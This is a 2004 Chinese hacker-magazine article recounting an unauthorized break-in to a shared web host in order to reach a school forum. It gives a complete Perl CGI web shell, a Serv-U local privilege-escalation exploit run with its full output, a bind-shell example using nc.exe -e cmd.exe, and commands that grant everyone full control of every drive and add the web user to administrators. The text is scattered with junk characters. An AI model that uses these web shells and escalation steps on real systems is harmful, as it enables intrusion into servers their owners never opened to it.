剑走偏锋——灵巧的旁注攻击 - v) g% ?1 z3 | A {6 F
本文作者:angel
K# h! O( @7 B, P/ }7 z8 S, y文章性质:原创
+ E# W$ N& f/ Z/ V0 e" V发布日期:2004-11-09 # D3 e. i7 i$ p* k' s! N
注意:
5 L2 `. s6 c% B本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。6 G4 c! Z& J) |- @" F8 e
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。& S: j( A# ] U) B2 U
+ ~% r6 g- h# H7 I" \6 k8 V% J 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
1 d) \- E: _' {# q {% y. [
( `1 J7 v: x# G% P# v3 { 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ! r# V! X" P$ ^6 O
$ v% R% ^0 q( D1 ~/ t# r5 {
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 + h' D% g! E5 [2 c* P) A
$ p6 x: F5 f8 L" L# h3 J" |
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 1 @0 S3 r" S' k# J+ N5 R* Z
& s6 ?0 l) i! m; N2 ] 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
4 u9 Z+ B: ?7 I" N! y2 }9 f4 R
, b4 R9 X2 h" w 没有目的的跳转目录着……
$ r; W$ s2 B& o1 b9 l) a
. l( w& t/ c6 k! D0 } t) k! D 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 6 T+ u- H! p# a5 a+ T- P* a2 l% ]
% v; Q5 y, m+ y. V U8 N
结束了吗?不,我试着 FTP 一下:
& g* Z" F. D3 T& y% B% g) }, d/ v% r
Microsoft Windows 2000 [Version 5.00.2195]. S+ W7 F! j7 S$ x
(C) 版权所有 1985-2000 Microsoft Corp. + |$ x' f( ?+ d' x% N% u' \
. c8 B, ^, T! G0 N- e- w1 gC:\Documents and Settings\Administrator>ftp www.school.com( M, V) A& L7 F; c1 W, V
Connected to www. school.com. 2 w K# i+ g6 O7 ^/ @5 W! Y$ L8 b
220 Welcome to FTP Server... & Y7 _6 D' ?4 P4 x. f$ w' Q
User (www.bjtrq.com:(none)): * c( {* t8 k+ @3 T5 Q
331 User name okay, need password.
& {+ ?" j: H$ u5 OPassword: ( f' |9 ^6 h" k1 h
530 Not logged in. , u# z% q0 p: S w: p' L5 B
Login failed. : b: Y( D/ |8 s6 b' @* x8 e& X I
ftp> bye
8 V' c, b2 ]' Y( \! U221 Goodbye!
# T% I z0 r3 A8 l7 P
! V2 }/ E' p. E; {4 j! h. s% j& B' E. ]9 u2 L7 L
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 6 q2 V8 R7 j2 v% g
) O; t7 K6 R% D7 o* I* J! ^
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: R& y. ~4 a6 d) r9 A B$ }+ t2 v: D' o
Application Data
8 C: z2 v7 o! M1 ~$ e% Z, u) ODocuments
0 ]/ H: I# y7 y& Z7 ]2 eDRM0 W) D3 o7 F# s- u/ X( w! \
Favorites" b! e( Y1 x% g W$ m, M8 F
Templates
7 b7 T( u! Q- R, E* t6 @( z「开始」菜单
7 V/ O& v' i5 h桌面9 @! e) C' d* r4 j8 w7 n, k) v
$ d- {" a" Z6 o
0 p% Z! _% x/ M9 y0 I- q# ?# q 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# |$ V9 S5 C2 a1 n+ x7 b' d) U' \6 ^( U3 a/ O; Y
ActiveState ActivePerl 5.83 \* e$ L( ~. E
Administrative Tools
$ N* G! ?8 H/ M# q D# J' FDeerfield.com
7 G" `# B. I% {5 w+ x6 FDTemp
- n; m1 D* ~( N w. P3 J2 k1 eIPSentry3 k/ y# l" ?" l0 H! g
MBM 5
! u9 U9 v: w( ?) JNetMeter
1 p% Q5 O3 G$ n3 YNetwork ICE2 R6 w( e; j5 T0 j5 S
Persits Software AspEmail
, b4 q# x, D$ Y, @1 y8 v( mPersits Software AspJpeg" x G/ b3 l2 a/ ^6 ]& A
Serv-U FTP Server
: I, ~' f' G. x! `8 |Symantec Client Security, K; ]7 T M' f, j! l7 M! {# [
Windows 优化大师
1 ]7 G3 v8 |- t5 X9 N7 Q( q0 x& i; uWinRAR
" I7 b5 i! @; E# Z+ x. n4 w启动6 R! G+ O$ E) l: s
管理工具
; t+ l" B3 n' K: U" n5 Q附件' K8 J3 }: R; D9 g: b5 G* s
$ j- h" h/ d# y3 X7 e# L y* r {( j3 b' W
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 5 j3 f/ C, [* z0 x
5 h8 ^8 d3 A* Z5 \6 T9 X! M
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
; g5 V: _' r0 L3 |7 g( S% ~2 U2 B1 c& [+ @+ o
User281=angel|1|0
' I8 c% R; D% z ?5 I9 L . A' N# t9 x) I. d
( e* L# { U1 y5 a* w/ a) i8 a 然后加上 . H. M7 C: H2 x5 p! }4 s+ m$ b
G1 D' s; P5 I0 W6 i; R
[USER=angel|1]& U. V6 p o4 V+ j( S4 r0 v
Password=ng98F85379EA68DBF97BAADCA99B69B805! I3 O7 @4 E. f* k: O
HomeDir=D:\websites E* \; x C7 |. Q# P
RelPaths=1
. ?4 }2 h- e4 VTimeOut=600
, S! {! I J# p: l( T" UMaintenance=System
. T& d' q2 n+ |Access1=D:\websites|RWAMELCDP
$ ~9 d: C O8 i6 A" w) [/ @SKEYValues=4 @0 `0 j8 W+ E6 k4 g/ r7 i3 x
9 D0 W# o& n/ u$ C
8 p2 ^( p& B0 ^# z 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
; B+ p- b, B* a7 k8 t6 t, D5 T7 I" C+ \
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
# B) I4 X: s! \9 r/ Y0 \* \1 {; v$ I( g7 X$ a# l
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
2 _5 F- ]: i8 }
' K. w7 P* r0 ^/ }) S 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
- `% v H& i. R" c
/ ]; s0 r6 A" N#!/usr/bin/perl. I- d7 E0 }% s% k: n+ Z
binmode(STDOUT);
' @* K& c: Z8 ]1 C+ Z, F* T# ^syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);) Z- W5 p L! ]0 Q' {
$_ = $ENV{QUERY_STRING};! o6 D. E3 P& m4 F9 I
s/%20/ /ig;
- ]5 n' u% g7 ^. n# f x* f" _s/%2f/\//ig;
) J. y. Q" g d2 W# v$execthis = $_;
; [8 W8 N* h. s/ F0 ?7 {syswrite(STDOUT, "<HTML><PRE>\r\n", 13);! f$ |; v: [% a4 ]
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";6 Q3 _5 C9 v& Q1 A4 S0 `/ r
system($execthis);! D; Q. P' f6 k( }1 C
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* Q* k a, ^$ J+ J% fclose(STDERR);/ N/ C7 `* b. @) v
close(STDOUT);
/ o" q. I6 |+ mexit;
2 {, g$ t) W3 v ^
+ o D5 ~. d2 R$ N+ m0 u/ n
6 ?% w, ?/ ^6 A. B& h+ J 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
7 p( V) @; a: h& J! s# n( }* ^0 ~8 F7 N. K0 ~& A
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: # Q* r/ X% a3 y: C$ i
5 P. \% s8 W: G( lhttp://anyhost//cmd.pl?d:\user\bin\su.exe
$ x7 {' U) Y4 x) Q- w: x1 Y 5 f- C# N8 z4 c4 n
& z i# _. G! F( {$ T6 |' {( H
返回:
1 O1 m3 n3 T) q
. h1 p/ y- z5 G3 G- ?$ `& |8 {0 ?" }Serv-u >3.x Local Exploit by xiaolu
/ O6 ?8 P1 G( M; r! S
, U3 j4 Y4 d( Q) Z C, K+ qUSAGE: serv-u.exe "command" - J4 p Z' b% N( {
/ L9 Y( t' s1 i& WExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
$ E1 {; ?: ?8 O& Z: c 4 y, b7 M$ k4 Y2 G. Z
3 Y4 q9 s2 m _! K4 p$ i- C
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 t; @5 K- Q. Y1 f5 }
) V: I/ R% |7 `+ _: nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
# \6 {1 l' y( E. g' r1 c3 t0 X, T- D( C$ V, _
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
% f O# V" [+ h2 S- s- t( O
) O' m; d/ j% O- S$ @! m+ Y( Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" % Z) U9 c9 |# o, t
; r* \3 K, I5 {! Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
" s9 ~/ l" `/ |7 L' W9 d" C/ X
+ ~) ~; m5 \, h- R0 C6 T
w1 f- A6 M0 Y 返回下面的信息,就表示成功了!!!
$ ~# x" z& R, d; _) n/ D0 A+ I+ s& `6 w1 \# M$ d3 C
Serv-u >3.x Local Exploit by xiaolu
+ ~$ c: K7 x; a' C2 S: w+ {2 @* E6 J' c! v0 ]6 G- F& e/ K
<220 Serv-U FTP Server v5.2 for WinSock ready...
1 _; E+ F* M/ ]* |& X3 s& |" w; P ^0 T: y
>USER LocalAdministrator $ E0 M3 h0 |" U4 t R/ ^4 p
. a) f4 T- c% h" e* ?- G<331 User name okay, need password. ; q1 j6 z9 c% d, X
# }" e: I' Y5 O! B* u******************************************************
$ O' M* W8 ~3 x! u" j9 \
8 S/ f+ _$ n0 Y1 e% k3 C" A3 y>PASS #l@$ak#.lk;0@P , u/ q& h& Z5 _& r+ w. f: L
# X D* ]# o$ Q4 Z/ b
<230 User logged in, proceed. ) m' n: V% A0 ^, T8 J, z1 c
& o6 n) d/ @# N% [" ?! \
******************************************************
" M7 z! W: j3 r) C& f" m) T' R' m4 P2 ]& D O4 Y4 p6 k
>SITE MAINTENANCE
1 g8 W7 `; Q4 ]' o
) d0 e% ~( Y; b' a& |****************************************************** 7 G- k# t; \" K" O0 b
" L6 j! n J1 M# b Y[+] Creating New Domain... 5 O6 Q/ W+ }% h( ]& t
' q2 E6 C2 g1 }: K7 }
<200-DomainID=2
, x. s& K; k; [1 J# y5 r: U% r' T4 R& Y4 Q8 }0 O1 D
<220 Domain settings saved
& R3 k* N/ }! z |4 a) H2 F* T+ h- J! ] S8 {" `
****************************************************** - v& p6 ~/ w0 t" U3 _
) c) W, c& L% r
[+] Domain xl:2 Created
6 U" Y: `; x& ^8 L$ N c# K, T% [) \- \
[+] Creating Evil User
+ E; S9 Y( ^6 Y3 ]: w
6 _: u9 D5 M/ t1 Z( h<200-User=xl ; F# t2 ^1 A9 E7 X; C5 O% r; I9 u
* C; A4 l# \: x) P- S6 A, Y200 User settings saved . A+ }" M0 b2 x: ?4 V/ f% ?
' [# U6 @, r# I( ^9 C8 C) X
******************************************************
1 @/ v! P8 h9 U9 t/ G4 u9 H/ B+ j$ [' {7 f0 Q Z
[+] Now Exploiting...
) S; @/ s: H* Y& j& H6 A& U$ G% H; ]! Z6 W
>USER xl
2 F0 V# \3 G3 |- r
& v2 G0 H" \! B8 T<331 User name okay, need password.
- [! P" O! D1 x1 c2 K3 _$ M$ m# {7 v, K8 A# _; s$ r
******************************************************
, M) A8 a5 S( u% w: o I0 A3 G3 C% n: c; j7 [
>PASS 111111 $ K; T# n# p# E' s: Q8 U/ q% q
, V" L3 S0 C1 i4 W2 b, t<230 User logged in, proceed.
+ @# i% ^( O; ~( h2 F: k; ^3 ~( `5 @9 x- u1 u& t
****************************************************** 5 t5 I/ j6 Q# d, t. D( G
: I: Q% i) F7 d& ^4 f8 m W2 u. E
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
: O% r. f5 o* l' {/ ^7 T7 X- A6 M% m5 N7 S' L0 J0 }
<220 Domain deleted
: }0 G, r& M( X# \! @5 F
* Z' _ G" L. p8 b" i) X****************************************************** ' N* H3 w- J h6 W. T3 ~- _4 g5 |
( {+ f; h2 H6 }# N3 i" Q' P; e- I" a$ A( v) z9 X# D. k
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: , ~4 W% ^, `2 G& x/ C" h
* O7 F* {- N: h; K: C' ~% d5 thttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 1 }# i5 x9 \9 C/ d
$ r" `0 ~8 S: A! P9 X2 ~+ x
# G; S1 G6 L8 S 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 7 i! b, M) n" {5 ^; A8 O
" C) x$ o- }) }' t0 H8 d 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。0 N) {# I" ?# Y0 e9 w; b- M% t% A
% i9 x: M- c% Q% T ' ^/ a: }# h" i
|